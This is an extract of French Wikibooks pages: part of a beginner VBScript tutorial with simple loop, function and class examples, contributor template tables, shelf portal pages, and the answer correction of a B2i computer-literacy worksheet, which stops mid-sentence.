qui calcule et > nbr1=1 nbr2=1 For cpt = 1 To 15 Step 1 nbr1=nbr1+1 nbr2=nbr1 mod cpt somme=somme&(nbr2/nbr1)&vbCrlf MsgBox somme Next </pre> CMT: les [nbr] sont initialisés avant de rentrer dans la boucle qui compte de 1 à 15 en rajoutant 1 à chaque tour de boucle. *Même boucle avec [cond] <pre> 'BOUCLE qui calcule et > Do Until cpt=11 nbr1=nbr1+1 nbr2=nbr1+1 somme=somme&(nbr2/nbr1)&vbCrlf MsgBox somme cpt=cpt+1 Loop </pre> CMT: Ici il a fallu incrémenter de 1 cpt dans cette boucle qui continue jusqu'à ce que cpt=15. Par défaut une [var]=0=null. *Test booléen (#res={vrai,faux}) <pre> msg=InputBox (msg,"Tapez 1") If msg=1 Then MsgBox "vrai",,"vous avez tapé 1 ?" Else MsgBox "faux",,"vous avez tapé 1 ?" </pre> Si vous tapez 1 dans le prompt c'est >vrai. Pour avoir plusieurs instructions il faut adopter le format suivant : <pre> msg=InputBox (msg,"Tapez 1") If msg=1 Then Resultat="vrai" Else Resultat="faux" End if MsgBox Resultat,,"vous avez tapé 1 ?" </pre> Ici Resultat est la [var] pour la transmettre > msgbox il ne faut pas la mettre entre "" comme pour les [str]>[var]. *Test non-booléen (#[res]={[res1],[res2],...}) <pre> msg=InputBox (msg,"Tapez 1 ou 2 ou 3") Select Case msg Case 1 MsgBox "un" Case 2 MsgBox "deux" Case 3 MsgBox "trois" Case Else MsgBox "autre" End Select </pre> Apres le test de msg, il y a plusieurs cas possibles de [res]. Selon que on a entré 1 ou autre chose on est pipé/redirigé/> vers le Case correspondant au [res] de la [var] msg. ==Type de variable== *VAR Une var sous vbs est en mode auto, ainsi lorsque l'on affecte une valeur ou [expr] à [], le [str] est typé en fonction de son contenu ce qui n'est pas toujours vrai en visual basic. <pre> 'déclaration Dim var1,var2,var3 var1=10.3 var2="il etait une fois" var3=var1&var2 </pre> On ne peut effectuer d'operation sur var1 et var2 en var3 car elle ne sont pas de même type. Seul la concatenation fonctionne ici. *CONST Une constante est une valeur qui ne change pas. <pre> Const1=15 Const2=30 Const3=Const1+Const2 </pre> *ARRAY Un tableau est une var contenant n cellule []. On peut y stocker des [str]. Un array se declare comme une var et recoit des valeurs. Chaque cellule a un indice, ainsi la cellule n°n a l'indice n. <pre> dim MonTableau() 'on definit le nombre de [] de MonTableau Redim MonTableau(10) For cpt=0 to 9 MonTableau(cpt)="Cellule_"&cpt Next MsgBox MonTableau(1) >Cellule_1 </pre> CMT: La premiere cellule à l'indice 0. MonTableau(1) ou la deuxieme cellule de MonTableau aura donc pour [str]="Cellule_1". =Fonctions et procédures= A partir d'ici, pour une meilleure ecriture et lisibilité des programmes, il est conseillé de séparer les parties déclaration et instruction : :[var] :[ins] Les procédures et les fonctions constituent des sous programmes permettant de définir une pile d'[ins] qui ont pour point d'entrée le nom. Pour les executer il suffit d'appeler la méthode Call Nom([arg]) ou simplement Nom([]) si elle ne comporte pas d'[arg].Les [arg]/datas sont à passer en parametres selon leur définition. Les fonctions et procédures sont publiques (Public) par défaut, c'est-à-dire disponible dans l'ensemble d'une application VBScript. Public Default est utilisé pour indiquer que la fonction ou la procédure est utilisée par défaut dans une classe. Private signifie que la fonction ou la procédure ne sera valable que dans l'espace du nom global qui l'encapsule, par exemple une classe ou le script en cours. Pour déclarer leur nom, attention de ne pas prendre un nom déjà attribué. Voir librairie [[programmation_VBscript|VBScript]]. ==procedure== '''Sub''' permet de déclarer nom [args] et [ins] formant la procédure. Son but est d'exécuter des [ins]. :[Public [Default] | Private] Sub Nom_Procédure [(arg1,arg2,...)] : [ins] :End Sub *Sans arguments <pre> 'Afficher l'heure système Sub heure() MsgBox Now() End Sub heure() </pre> On déclare ici la procedure heure ([]) - sans [arg] - qui > now() - procedure affichant heure sys. On appelle ensuite l'execution de cette sub/procedure. *Avec arguments <pre> 'calc + et > Sub adi(a,b) Dim somme somme=a+b MsgBox somme End Sub Call adi(15,20) >35 </pre> Vous remarquez ici que Dim déclare [somme] en tête du sous-programme adi qui est appelé avec deux args/paramètres définis par adi(a,b). ==fonction== '''Function''' permet de déclarer nom [args] et [ins] formant la fonction. Son but est de retourner une valeur. Sinon, autant utiliser une procédure. :[Public [Default] | Private] Function Nom_Fonction [(arg1,arg2,...)] :[ins] :Nom_fonction=[expr] :End Function La fonction à Nom_Fonction comme point d'entrée (</stdin) et retourne Nom_Fonction=[expr] en sortie(>/stdout). Vous comprenez maintenant ? Un programme c'est un pipeline, les [res] ne font que passer d'un tuyau à l'autre jusqu'au terminus, l'ecran ou un fichier :) CMT:Il est impossible de créer une fonction (Function) à l'intérieur d'une procédure (Sub) et réciproquement. *Sans arg <pre> Function Addition1() a=10 b=15 Addition1=a+b End Function MsgBox Addition1() </pre> *Avec arg <pre> Function Addition(val1, val2) Addition = val1 + val2 End Function MsgBox Addition(10,15) >25 </pre> *Autre exemple <pre> 'calc (a-b)/c > Function calc(a,b,c) calc=(a-b)/Round(c) End Function MsgBox calc(15,10,2.5)&vbcrlf&Abs(calc(10,20,30)) </pre> CMT: Dans calc() Round retourne directement l'arrondi. A la ligne 5, le pipe s'effectue de la plus petite parenthese à l'interieur, ici calc(10,20,30) pour retourner sa valeur a Abs() qui retourne sa valeur en même temps que calc(15,10,2.5) > [str] > MsgBox qui affiche [str]. C'est simple comme 'Hello World'. =Classe d'objets= En POO, une classe encapsule des datas et [ins] définissant des propriétés [var] et méthodes [ins]. Les classes permettent de construire des objets types à réutiliser. L'instanciation consiste à déclarer un nouvel objet de classe. Un objet est donc une instance de classe. :Class NomDeClasse ::[varz] ::Private Sub Class_Initialize() :::[ins] ::End Sub ::Private Sub Class_Terminate() :::[ins] ::End Sub ::Public Function NomMethode([arg]) :::[ins] ::End Function :End Class *Application <pre> '------------------------------------ '- ouvre une class et cree tableau - '- place des articles dedans - '- affiche l'article par numero - '------------------------------------ On Error Resume Next 'déclaration de la classe class strArticle Private index, article() 'Initialise la classe Private Sub Class_Initialize() 'définit 50 champs ds tableau redim article(50) index=0 End Sub 'Termine la classe Private Sub Class_Terminate() erase article End Sub 'public car devant etre accessible hors classe public default Sub ajout(Val) article(index)=Val index=index+1 if index>50 then MsgBox "plus de place dans tableau" end if end sub 'public car devant etre accessible hors classe public Function Affiche(idx) MsgBox article(idx) end function end class 'initialisation d'une nouvelle classe Set cat= new strArticle 'place les article dans le tableau For cpt = 1 to 50 cat.ajout("ARTICLE_"&cpt) Next msg=0 While (IsNumeric(msg)) msg=InputBox(msg,"Choisissez l'article à sortir / [!0-9] pour sortir") cat.Affiche(msg-1) Wend Set cat=nothing </pre> CMT: On initialise et on termine une classe pour libérer la ressource apres usage. On declare plusieurs fonctions qui sont les methodes à appeler. Les Init. et Termin. sont en private car utile que dans la classe, en revanche toute autre fonction ou sub doit être public pour l'E/S hors classe. Pour utiliser une classe: *on initialise d'abord l'objet obj= new NomDeClass; *on appele la methode dans l'objet obj.NomDeFonction([arg]); *comme dans fonction ordinaire [arg] [var] [expr] < en parametre; *Voir cet [http://jerome.developpez.com/tutos/classesvbscript/ article] =E/S fichier= =Cas d'utilisation= {{programmation}} Wikilivres:Recommandations et règles à suivre 5595 23364 2005-10-16T09:52:32Z Greudin 1 [[Wikilivres:Recommandations et règles à suivre]] déplacé vers [[Wikilivres:Règles]]: redir pour conserver historique #REDIRECT [[Wikilivres:Règles]] Wikilivres:Modèles/contributeurs 5596 23385 2005-10-16T10:59:57Z Greudin 1 {| border="1" cellspacing="0" cellpadding="3" |- ! Syntaxe et explications !! width="70%" | Résultat |- | * Syntaxe : <nowiki>{{</nowiki>subst:[[Modèle:Bienvenue|Bienvenue]]}}<nowiki>~~~~</nowiki> * Utilité : Pour souhaiter la bienvenue à un nouveau contributeur. Utiliser subst:, et ajoutez votre signature ! | {{Bienvenue}} |- | <nowiki>{{</nowiki>[[Modèle:Bienvenue débutant|Bienvenue débutant]]}} : Pour accueillir un contributeur anonyme, et l'inviter à s'enregistrer. | {{Bienvenue débutant}} |- | <nowiki>{{</nowiki>[[Modèle:Bienvenue spammeur|Bienvenue spammeur]]}} : Pour accueillir un anonyme qui ajoute de nombreux liens externes. | {{Bienvenue spammeur}} |- | <nowiki>{{</nowiki>[[Modèle:Bienvenue vandale|Bienvenue vandale]]}} : Pour prévenir un anonyme qui vandalise ou teste des pages, en lui indiquant le bac à sable. À réserver pour des cas poussés et non pas pour les simples tests. | {{Bienvenue vandale}} |- | <nowiki>{{</nowiki>[[Modèle:Vandalisme|Vandalisme]]<nowiki>|</nowiki>''Article vandalisé''}} | {{Vandalisme|Article}} |- | <nowiki>{{</nowiki>[[Modèle:Bienvenue copyright|Bienvenue copyright]]<nowiki>|</nowiki>''Article sous copyright''}} | {{Bienvenue copyright|Article}} |- | <nowiki>{{</nowiki>[[Modèle:Vandale bloqué|Vandale bloqué]]<nowiki>|</nowiki>''Durée en jours''}} | {{Vandale bloqué|3}} |- | <nowiki>{{</nowiki>[[Modèle:Vandale banni|Vandale banni]]}} | {{Vandale banni}} |- | <nowiki>{{</nowiki>subst:[[Modèle:Signature|Signature]]}} | {{Signature}}<nowiki>~~~~</nowiki> |- | <nowiki>{{</nowiki>subst:[[Modèle:Confidentialité|Confidentialité]]}} | {{Confidentialité}}<nowiki>~~~~</nowiki> |- | <nowiki>{{</nowiki>[[Modèle:Avertissement suppression|Avertissement suppression]]<nowiki>|</nowiki>''Image''}} | {{Avertissement suppression|Article}} |- | <nowiki>{{</nowiki>[[Modèle:Bandeau suppression|Bandeau suppression]]<nowiki>|</nowiki>''Article''}} | {{Bandeau suppression|Article}} |- | <nowiki>{{</nowiki>subst:[[Modèle:Image sans description|Image sans description]]}}<nowiki>~~~~</nowiki> | {{Isd}}[[Utilisateur:Korrigan|le Korrigan]] [[Discussion Utilisateur:Korrigan|<sup>''bla''</sup>]] 14 octobre 2005 à 10:03 (CEST) |- | <nowiki>{{</nowiki>subst:[[Modèle:ImageSansLicence|ImageSansLicence]]}}<nowiki>~~~~</nowiki> | {{ImageSansLicence}}[[Utilisateur:Korrigan|le Korrigan]] [[Discussion Utilisateur:Korrigan|<sup>''bla''</sup>]] 14 octobre 2005 à 10:03 (CEST) |- | <nowiki>{{</nowiki>[[Modèle:Récompense|Récompense]]<nowiki>|</nowiki>''Image''<nowiki>|</nowiki>''Votre gentil commentaire''<nowiki><br>~~~~</nowiki>}} | {{Récompense|Wikipedia laurier wp.png|Tu es génial(e), bravo !<br>[[Utilisateur:Korrigan|le Korrigan]] [[Discussion Utilisateur:Korrigan|<sup>''bla''</sup>]] 14 octobre 2005 à 10:03 (CEST)}} |} Modèle:Bienvenue débutant 5597 23391 2005-10-16T11:14:13Z Greudin 1 {| class="WSerieH" id="vandale" align="center" style="background-color:#f7f8ff; width:80%; text-align:justify; padding:5px; border:1px solid #8888aa; border-right-width:2px; border-bottom-width:2px; margin-bottom:2em" |- | style="padding-left: 10px" | Bonjour '''{{PAGENAME}}''', Vous avez découvert combien il est facile de modifier et compléter [[Wikilivres]].<br /> Le [[Wikilivres:bac à sable|bac à sable]] est à votre disposition pour tester la [[w:Aide:Syntaxe Wikipédia|syntaxe de MediaWiki]]. Note : '''{{PAGENAME}}''' est votre identifiant actuel. Vous pouvez [[Special:Userlogin|créer votre compte]] avec le pseudonyme de votre choix si vous désirez donner une touche plus personnelle à vos contributions. |} Modèle:Méthode de Japonais 5598 40810 2006-04-23T18:12:39Z 82.66.8.62 <br clear="all" /> {| align="center" cellspacing="0" style="margin-top: 2em; width: 70%; background-color:#ffffff; padding:0px; padding-bottom:0px; border:1px solid #000000; line-height: 1.5em;{{{css}}}" |- style="background:#ffffff" | align="center"| '''<big>Méthode de Japonais<big/>'''<hr> <center> [[Introduction à la méthode de japonais|Introduction]]<center/> <div style="float:left; width:50%;"> *[[Japonais:Leçon1|Leçon 1]] *[[Japonais:Leçon1:Correction|Correction des exercices]] *[[Japonais:Leçon2|Leçon 2]] **[[Japonais:Leçon2:Correction|Correction des exercices]] *[[Japonais:Leçon3|Leçon 3]] **[[Japonais:Leçon3:Correction|Correction des exercices]] *[[Japonais:Leçon4|Leçon 4]] **[[Japonais:Leçon4:Correction|Correction des exercices]] </div><div style="float:right; width:50%;"> *[[Japonais:Leçon5|Leçon 5]] *[[Japonais:Leçon5:Correction|Correction des exercices]] *[[Japonais:Leçon6|Leçon 6]] *[[Japonais:Leçon6:Correction|Correction des exercices]] *[[Japonais:Leçon7|Leçon 7]] **[[Japonais:Leçon7:Correction|Correction des exercices]] *[[Japonais:Leçon8|Leçon 8]] *[[Japonais:Leçon8:Correction|Correction des exercices]] </div> <br clear=all /> <hr> *[[Pool d'exercices (Méthode de japonais)|Pool d'exercices]] *[[Japonais:Prononciation|Prononciation]] *[[Méthode de Japonais:Instructions|Instructions de rédaction]] Japonais:Leçon5:Correction 5599 23414 2005-10-16T11:43:09Z Duarna 465 modèle A faire! {{Méthode_de_Japonais}} Japonais:Leçon6:Correction 5600 23415 2005-10-16T11:43:57Z Duarna 465 modèle A faire! {{Méthode_de_Japonais}} Japonais:Leçon7:Correction 5601 23416 2005-10-16T11:44:35Z Duarna 465 modèle a faire! {{Méthode_de_Japonais}} Image:Photoshop – Barre d'outils.png 5602 23460 2005-10-16T15:03:44Z Inisheer 631 Barre d'outil d'Adobe Photoshop {{Capture d'écran}} Modèle:Capture d'écran 5603 23510 2005-10-16T19:47:23Z Greudin 1 rouge bleu <!--[[en:Template:Game-screenshot]]--> <!--basé sur le modèle anglais--> {| align="center" class="boilerplate" id="fairuse" style="display:table; width: 85%; margin: 0 auto; margin-top: 10px; text-align: justify; background-color: #F1F1DE; padding: 0 10px; border: 2px solid #9999CC" |[[image:Red copyright.png|left|72px]] |Cette image est une [[capture d'écran]] soumis au [[w:copyright|copyright]] ou au [[w:droit d'auteur|droit d'auteur]] : elle peut être utilisée dans Wikipédia sous la doctrine '''[[w:fair use|fair use]]''' en vertu des lois des États-Unis, mais cette doctrine peut ne pas s'appliquer ailleurs, aussi ne réutilisez pas cette image sans précaution. <small>Si vous êtes titulaire de droits sur cette image et que vous souhaitez qu'elle soit retirée, [[Wikipédia:Contact|contactez nous]].</small> |} [[Catégorie:Capture d'écran|{{PAGENAME}}]] Image:Wikilivres logoA.png 5605 23521 2005-10-16T20:26:59Z Dake 577 Dessiné par [[Utilisateur:Dake|Dake]] avec Inkscape. {{GFDL}} Blender 3D: du débutant au pro/Montagnes de Molehills 5611 45413 2006-06-22T16:58:17Z Antho2704 1258 ''Page suivante : [[Blender_3D:_du_d%C3%A9butant_au_pro/Convertir_un_cube_en_chiot|Convertir un cube en chiot]]''<br /> <small>''Page précédente : [[Blender_3D:_du_d%C3%A9butant_au_pro/Placer_le_chapeau_sur_le_personnage|Placer le chapeau sur le personnage]]''</small> '''Texte gras''' == Texte de sous-titre == [[Media:Exemple.ogg]] ---- <math>personnage en chapeau</math> Accueil/Sciences de la nature et sciences exactes 5615 44789 2006-06-17T02:02:16Z Nicombo 684 /* Médecine */ __NOTOC__ <div style="background-color:#E0E0F0;font-size:1px;height:8px;border:1px solid #AAAAAA;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div style="border:1px solid #E0E0F0;border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:3ex;"> ==Sciences de la nature et sciences exactes== ====Astronomie==== * [[Celestia|Simulateur spatial]] [[image:25%.png]] ====[[Mathématiques|Mathématiques]]==== * [[Calcul écrit]] [[image:25%.png]] * [[Algèbre]] [[image:25%.png]] * [[Analyse]] [[image:25%.png]] * [[Algèbre linéaire]] [[image:25%.png]] * [[Algèbre de Boole]] [[image:25%.png]] * [[Arithmétique élémentaire]] [[image:00%.png]] * [[Géométrie]] [[image:25%.png]] * [[Topologie]] [[image:00%.png]] * [[S'initier au boulier en 10 leçons|S'initier au boulier]] [[image:100%.png]] * [[Fondements des mathématiques]] [[image:50%.png]] * [[Approfondissements de lycée]] [[image:75%.png]] * [[Exercices de mathématiques]] * [[Math%C3%A9matiques_niveau_seconde|Mathématiques niveau seconde (France)]] * [[Découvrir Scilab]] {{50}} ====Sciences physiques==== * [[Physique]] [[image:25%.png]] * [[Physique Subatomique]] [[image:25%.png]] * [[Thermodynamique]] [[image:25%.png]] * [[Électricité]] [[image:25%.png]] * [[Mécanique des fluides]] [[image:25%.png]] * [[MEF|Mécanique numérique]] [[image:25%.png]] * [[Calcul tensoriel]] {{2/4}} ====Chimie==== * [[Chimie générale]] [[image:75%.png]] * [[Chimie organique]] [[image:25%.png]] ====Médecine==== * [[Anatomie]] [[image:00%.png]] * [[Physiologie]] [[image:00%.png]] * [[Histologie]] [[image:00%.png]] * [[Embryologie]] [[image:00%.png]] * [[Médecine/Sémiologie|Sémiologie]] [[image:00%.png]] * [[Pharmacologie]] [[image:00%.png]] ====Sciences de la vie==== * [[Biologie cellulaire]] [[image:25%.png]] * [[Biologie humaine]] [[image:25%.png]] * [[Biochimie]] [[Image:100%.png]] * [[Physiologie de l'imagination et du langage]] [[image:25%.png]] * [[Sciences Cognitives]] [[image:25%.png]] ====Zoologie==== * [[Clés dichotomiques]] [[image:00%.png]] ====Sciences de la Terre==== * [[Dynamique des enveloppes]] [[image:00%.png]] <br clear="all" /> </div> {{ÉtatDesWikilivres}} Accueil/Sciences humaines et sociales 5616 44751 2006-06-16T22:01:34Z Nicombo 684 /* Religion */ __NOTOC__ <div style="background-color:#E0E0F0;font-size:1px;height:8px;border:1px solid #AAAAAA;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div style="border:1px solid #E0E0F0;border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:3ex;"> ==Sciences humaines et sociales== ====[[:Catégorie:Droit|Droit]]==== * [[Droit administratif]] [[Image:25%.png]] ====Économie==== * [[Introduction au cours de questions monétaires et financières]] ====Histoire==== * [[Histoire de l'Europe]] [[Image:25%.png]] * [[Contexte historique de la Bible]][[Image:25%.png]] ====Linguistique==== * [[Petit guide de transcription phonétique|La transcription phonétique]] [[Image:75%.png]] * [[Symboles de l'Alphabet Phonétique International utilisés dans la transcription du français|Alphabet phonétique]] [[Image:100%.png]] * [[La morphologie]] [[Image:25%.png]] * [[Linguistique Formelle]] [[Image:25%.png]] ====Philosophie==== * [[Manuel de philosophie (terminale)|Manuel de philosophie]] [[Image:25%.png]] * [[Histoire de la philosophie]] [[Image:25%.png]] ====Psychologie==== * [[Psychologie de l'enfant et de l'adolescent|L'Enfant et l'Adolescent]] [[Image:25%.png]] * [[Acquisition du language]] [[Image:00%.png]] ====Religion==== *[[Bouddhisme]] *[[Islam]] *[[Judaïsme]] [[Image:25%.png]] ====Sociologie==== * [[Outils méthodologiques (sociologie)|Outils méthodologiques]] [[Image:25%.png]] ====Autres==== * [[Dactylographie]] <br clear="all" /> </div> {{ÉtatDesWikilivres}} Accueil/Arts 5617 23625 2005-10-17T18:41:31Z Dake 577 __NOTOC__ <div style="background-color:#E0E0F0;font-size:1px;height:8px;border:1px solid #AAAAAA;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div style="border:1px solid #E0E0F0;border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:3ex;"> ==Arts== ====Gastronomie==== * [[Art culinaire]] [[Image:25%.png]] ====Audiovisuel==== * [[Faire son film]] [[Image:00%.png]] ====Beaux Arts==== * [[Dessin]] [[Image:25%.png]] * [[Peinture]] [[Image:25%.png]] * [[Photographie]] [[Image:25%.png]] ====Danse==== * '''D<small>ANSE </small>''' * [[Salsa ]] [[Image:00%.png]] ====Multimédia==== * [[Blender3D]] [[Image:25%.png]] ====Musique==== * [[Guitare]] [[Image:00%.png]] ====Théorie musicale==== * [[Bases de solfège|Les bases du solfège]] [[Image:25%.png]] <br clear="all" /> </div> {{ÉtatDesWikilivres}} Accueil/Langues 5618 47132 2006-07-02T16:34:55Z 88.154.186.197 __NOTOC__ <div style="background-color:#E0E0F0;font-size:1px;height:8px;border:1px solid #AAAAAA;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;"></div> <div style="border:1px solid #E0E0F0;border-top:0px solid white;padding:5px 5px 0 5px;margin-bottom:3ex;"> ==Langues== ====[[Enseignement des langues|Apprentissage]]==== * [[Enseignement de l'allemand|Allemand]] [[image:25%.png]] * [[Enseignement de l'anglais|Anglais]] [[image:50%.png]] * [[Enseignement de l'arabe|Arabe]] [[image:25%.png]] * [[Enseignement du bambara|Bambara]] [[image:50%.png]] * [[Enseignement du berbère|Berbère]] [[image:00%.png]] * [[Enseignement du catalan|Catalan]] [[image:25%.png]] * [[Enseignement du chinois|Chinois]] [[image:25%.png]] * [[Enseignement du Coréen|Coréen]] [[image:00%.png]] * [[Enseignement du corse|Corse]] [[image:50%.png]] * [[Cours d'espagnol|Espagnol]] [[image:25%.png]] * [[Enseignement de l'espéranto|Espéranto]] [[image:25%.png]] * [[Enseignement du finnois|Finnois]] [[image:25%.png]] * [[Enseignement du français|Français]] [[image:25%.png]] * [[Enseignement du Gallois|Gallois]] [[image:25%.png]] * [[Enseignement du hindi|Hindi]] [[image:25%.png]] * [[Enseignement du gujarati|Gujarati]] [[image:25%.png]] * [[Enseignement de l'italien|Italien]] * [[Enseignement de l'interlingue (occidental)|Interlingue]] [[image:25%.png]] * [[Enseignement du néerlandais|Néerlandais]] [[image:25%.png]] * [[Langue normande|Normande]] {{25}} * [[Enseignement du novial|Novial]] [[image:25%.png]] * [[Table des matières (Japonais)|Japonais]] [[image:25%.png]] * [[Méthode latine]] [[image:25%.png]] * [[LSF|LSF : langue des signes française]] [[image:25%.png]] * [[Enseignement du peul|Peul]] [[image:25%.png]] * [[Enseignement du polonais|Polonais]] [[image:50%.png]] * [[Enseignement du portugais Boas-vindas|Portugais]] [[image:25%.png]] * [[Suédois]]{{25}} * [[Enseignement du roumain|Roumain]] [[image:00%.png]] * [[Enseignement du russe|Russe]] [[image:25%.png]] * [[Provençal]]{{25}} <br> * [[Enseignement du Toki pona|Toki pona]] [[image:25%.png]] ====Autres==== * [[Dire bienvenue dans le monde|Dire «'''Bienvenue'''» dans le monde]] [[image:25%.png]] * [[Dire bonjour dans le monde|Dire «'''Bonjour'''» dans le monde]] [[image:00%.png]] * [[Dire bonne année dans le monde|Dire «'''Bonne année'''» dans le monde]] [[image:50%.png]] * [[Dire cocorico dans le monde|Dire «'''Cocorico'''» dans le monde]] [[image:00%.png]] * [[Dire je t'aime dans le monde|Dire «'''Je t'aime'''» dans le monde]] [[image:25%.png]] * [[Dire joyeux anniversaire dans le monde|Dire «'''Joyeux anniversaire'''» dans le monde]] [[image:00%.png]] * [[Dire merci dans le monde|Dire «'''Merci'''» dans le monde]] [[image:50%.png]] * [[Dire miaou dans le monde|Dire «'''Miaou'''» dans le monde]] [[image:00%.png]] * [[Phrases usuelles en différentes langues|Phrases usuelles]] [[image:50%.png]] * [[Vocabulaire|Vocabulaire français pour les étrangers]] [[image:50%.png]] <br clear="all" /> </div> {{ÉtatDesWikilivres}} [[Catégorie:Langue|*]] [[de:Regal Sprachen]] [[en:Wikibooks:Languages bookshelf]] [[it:Wikibooks:Ripiano Lingue]] [[ja:語学]] [[zh:语言]] [[he:מדף:שפות]] B2i niveau 2 : culture informatique/correction 5619 26897 2005-12-17T10:49:22Z 82.249.190.47 /* Matériel informatique */ {{ébauche}} L''''évaluation concernant la culture informatique du brevet informatique et internet''' porte sur les compétences 2.1 à 2.6. =Base du vocabulaire spécifique de l'informatique [[B2i|Compétence 2.1]]= ==Matériel informatique== ''Complétez ce texte à trous avec les mots'' : microprocesseur, mémoire centrale (de travail), mémoires de stockage, octet, système d’exploitation. ---- [[Image:Suoritin Intel Pentium 100MHz.jpg|right|200px]] Le cœur d'un ordinateur est en photo ci-contre, il s'agit du '''microprocesseur'''. Il prend en charge l'exécution des instructions contenues dans les programmes informatiques. Il traite des informations stockées dans les mémoires. Ces mémoires sont deux types. L'une d'elles se vide lorsque l'on éteint l'ordinateur, c'est la '''mémoire centrale (de travail)'''. Pour conserver les informations on utilise le disque dur, la disquette ou le cédérom, ce sont des '''mémoires de stockage'''. Ces mémoires sont remplies par des 0 et des 1, appelés bits. Un groupe de huit bits s'appellent '''octet'''. Cela représente une lettre d'un mot, par exemple le ''a'' dans ''bureau''. Pour le bon fonctionnement d'un ordinateur, le '''système d’exploitation''' fait la liaison entre le matériel (carte vidéo, souris, etc.) et l'utilisateur. ==Logiciel== ''Complétez ce texte à trous avec les mots'' : extension, presse-papier, icône, coller, fichier, dossier, copier, arborescence, couper. ---- Par exemple, Microsoft Windows offre une partie de mémoire appelée '''presse-papier''' pour stocker des bouts de texte, des images, des sons, etc. Trois commandes sont utiles pour utiliser cette mémoire : Pour ranger dedans un texte, on utilise la commande '''copier'''. Pour placer ce texte on utilise la commande '''coller'''. La dernière commande '''couper''' supprime le texte qui reste dans cette mémoire pour être déposé ailleurs. Un paquet d'informations (textes, images, sons, etc.) s'apppelle un '''fichier'''. Ils portent un nom avec une '''extension''' (séparée par un point) différente si c'est un document texte, une image, un son, etc. Pour les ranger, on fait des nouveaux emplacements appelés '''dossier'''. Ce rangement forme l''''arborescence''', c'est une structure en forme d'arbre. Une petite image appelée '''icône''' nous renseigne si c'est un emplacement de rangement ou un document texte, images, sons, etc. ==Traitement logiciel== ''Complétez ce texte à trous avec les mots'' : numérisation de l'information, logiciel de reconnaissance de caractères, logiciel de traitement d'images ou de sons, fichier de données, traitement de texte, application, tableur. ---- Un programme informatique s'appelle logiciel ou '''application'''. L'écriture de texte nécessite un '''traitement de texte''' comme par exemple MS Word ou OpenOffice Writer. Pour les calculs sur des nombres dans un tableau, on utilise un '''tableur''' comme par exemple MS Excel ou OpenOffice Calc. À l'aide d'un appareil appelé scanneur on peut transformer une feuille papier avec une phrase imprimé dessus en un document texte informatique grâce à un '''logiciel de reconnaissance de caractères'''. Cette transformation est appelée '''numérisation de l'information'''. Le scanneur permet de transformer une photographie, un microphone permet de transformer une musique en format numérique qui sont stockés dans un '''fichier de données''' pouvant se nommer soit ''photo_perso.jpg'' pour la photo, soit ''son_ambiance.mp3'' pour la musique. La retouche de photo (taille, couleurs, etc.) ou l'amélioration d'un son (amplification, bruits, etc) se fait avec un '''logiciel de traitement d'images ou de sons''' que l'utilisateur a installé sur l'ordinateur. ==Internet== ''Complétez ce texte à trous avec les mots'' : lien hypertexte, réseaux, toile (Web), logiciel de messagerie, navigateur, moteurs de recherche, serveur, fournisseur d'accès. ---- Internet (''international network'') est un assemblage de '''réseaux''' d’ordinateurs nationaux et internationaux reliés par des liaisons téléphoniques, câblées, etc. Une société appellée '''fournisseur d'accès''' offre une connexion à Internet contre un abonnement payant mensuel. Le service le plus utilisé sur Internet est d'aller sur des sites pour consulter de pages, l'ensemble des sites se nommme '''toile (Web)'''. Les pages sont reliées entre elles par '''lien hypertexte''' (cliquable). Cliquer sur un lien est possible à l'aide d'un logiciel pour ''surfer'' nommé '''navigateur'''. L'ordinateur qui héberge un ou plusieurs sites s'appelle '''serveur'''. Certains sites appelés '''moteurs de recherche''' stockent un grand nombre de liaisons vers d'autres sites, on retrouve ces sites grâce à des mots-clés. Un autre service très utilisé sur Internet, est l'échange de courrier électronique à l'aide d'un '''logiciel de messagerie'''. =Cheminement de l'information et ses transformations [[B2i|Compétence 2.2]]= ''Associez les phrases avec les mots'' : saisie, traitement, sortie, mémorisation, transmission. ---- *J'imprime un document : '''sortie''' *Je retouche la luminosité d'une photo numérique : '''traitement''' *J'observe un graphique à l'écran : '''sortie''' *Je sauvegarde mon document sur la disquette : '''mémorisation''' *Je transfère mes photos numériques sur mon ordinateur : '''transmission''' *J'ajoute un générique à la vidéo : '''traitement''' *Je prends une photo numérique : '''saisie''' *Je transfère mes musiques depuis mon ordinateur vers mon baladeur mp3 : '''transmission''' *Je tape un texte : '''saisie''' *J'enregistre mon diaporama sur le disque dur : '''mémorisation''' =Ordres de grandeur usuels des caractéristiques des ordinateurs et périphériques [[B2i|Compétence 2.3]]= ==Ordinateurs== ''Rayez les déclarations fausses, il n'y a qu'une seule réponse juste.'' ---- *Quelle est la mention qui indique la '''vitesse''' d'un ordinateur aujourd'hui ? #3 giga hertz #<s>80 méga watts</s> #<s>1024 méga bits</s> #<s>512 méga octets</s> *Quelle est la mention qui indique la '''taille mémoire d'un disque dur''' aujourd'hui ? #<s>80 méga watts</s> #<s>1024 méga bits</s> #150 giga octets #<s>20 giga hertz</s> *Quelle est la mention qui indique la '''taille de la mémoire de travail''' aujourd'hui ? #<s>512 bits</s> #<s>80 méga watts</s> #1 giga octet #<s>80 giga hertz</s> ==Périphériques== ''Rayez les déclarations fausses, il n'y a qu'une seule réponse juste.'' ---- *Quelle est le nom d'une technologie de connexion de périphériques sans fil ? #<s>USB</s> #<s>Firewire</s> #Wi-Fi #<s>Liaison série</s> *Quelle imprimante choisir pour des impressions de photographies de vacances ? #Jet d'encre couleur 9600 x 2400 dpi, 5 pages par minute #<s>Laser monochrome 1200 x 1200 dpi, 20 pages par minute</s> #<s>Jet d'encre couleur 600 x 600 dpi, 10 pages par minute</s> *Quelle est la technologie de connexion avec le plus grand débit ? #<s>USB</s> #<s>Liaison série</s> #Firewire #<s>Wi-Fi</s> #<s>Bluetooth</s> =Informations numérisées et interprétation [[B2i|Compétence 2.4]]= =Traitements réalisés par une machine [[B2i|Compétence 2.5]]= =Lois relatives aux utilisations d'informations nominatives [[B2i|Compétence 2.6]]= ''Rayez les déclarations fausses, il n'y a qu'une seule réponse juste.'' ---- *Vous recherchez des informations sur votre chanteuse préférée. En utilisant un moteur de recherche, vous trouvez un site consacré à la chanteuse, mais pour accéder on demande de vous inscrire avec votre adresse email. Est-ce que c'est normal de recevoir après des emails concernant les 